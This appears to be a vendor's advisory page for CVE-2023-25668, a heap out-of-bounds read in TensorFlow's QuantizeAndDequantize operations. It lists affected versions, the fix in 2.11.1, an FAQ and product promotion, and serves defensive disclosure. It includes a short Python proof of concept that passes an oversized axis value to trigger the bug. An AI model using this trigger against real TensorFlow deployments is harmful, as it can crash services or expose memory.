CVE-2023-25668

TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

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Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE.
When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound.
Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
    								   input_min=[1.0],
    								   input_max=[10.0],
    								   signed_input=True,
    								   num_bits=1,
    								   range_given=True,
    								   round_mode='HALF_TO_EVEN',
    								   narrow_range=True,
    								   axis=0x7fffffff)
test()

A read operation accesses a memory location beyond the intended buffer boundary. Typical impact: sensitive data disclosure or crash.

CVE-2023-25668 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.11.1); upgrading removes the vulnerable code path.

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We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

1. What is CVE-2023-25668? CVE-2023-25668 is a critical-severity out-of-bounds read vulnerability in tensorflow (pip), affecting versions < 2.11.1. It is fixed in 2.11.1. A read operation accesses a memory location beyond the intended buffer boundary.
2. How severe is CVE-2023-25668? CVE-2023-25668 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2023-25668?
   • tensorflow (pip) (versions < 2.11.1)
   • tensorflow-cpu (pip) (versions < 2.11.1)
   • tensorflow-gpu (pip) (versions < 2.11.1)
4. Is there a fix for CVE-2023-25668? Yes. CVE-2023-25668 is fixed in 2.11.1. Upgrade to this version or later.
5. Is CVE-2023-25668 exploitable, and should I be worried? Whether CVE-2023-25668 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-25668 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-25668?
   • Upgrade tensorflow to 2.11.1 or later
   • Upgrade tensorflow-cpu to 2.11.1 or later
   • Upgrade tensorflow-gpu to 2.11.1 or later

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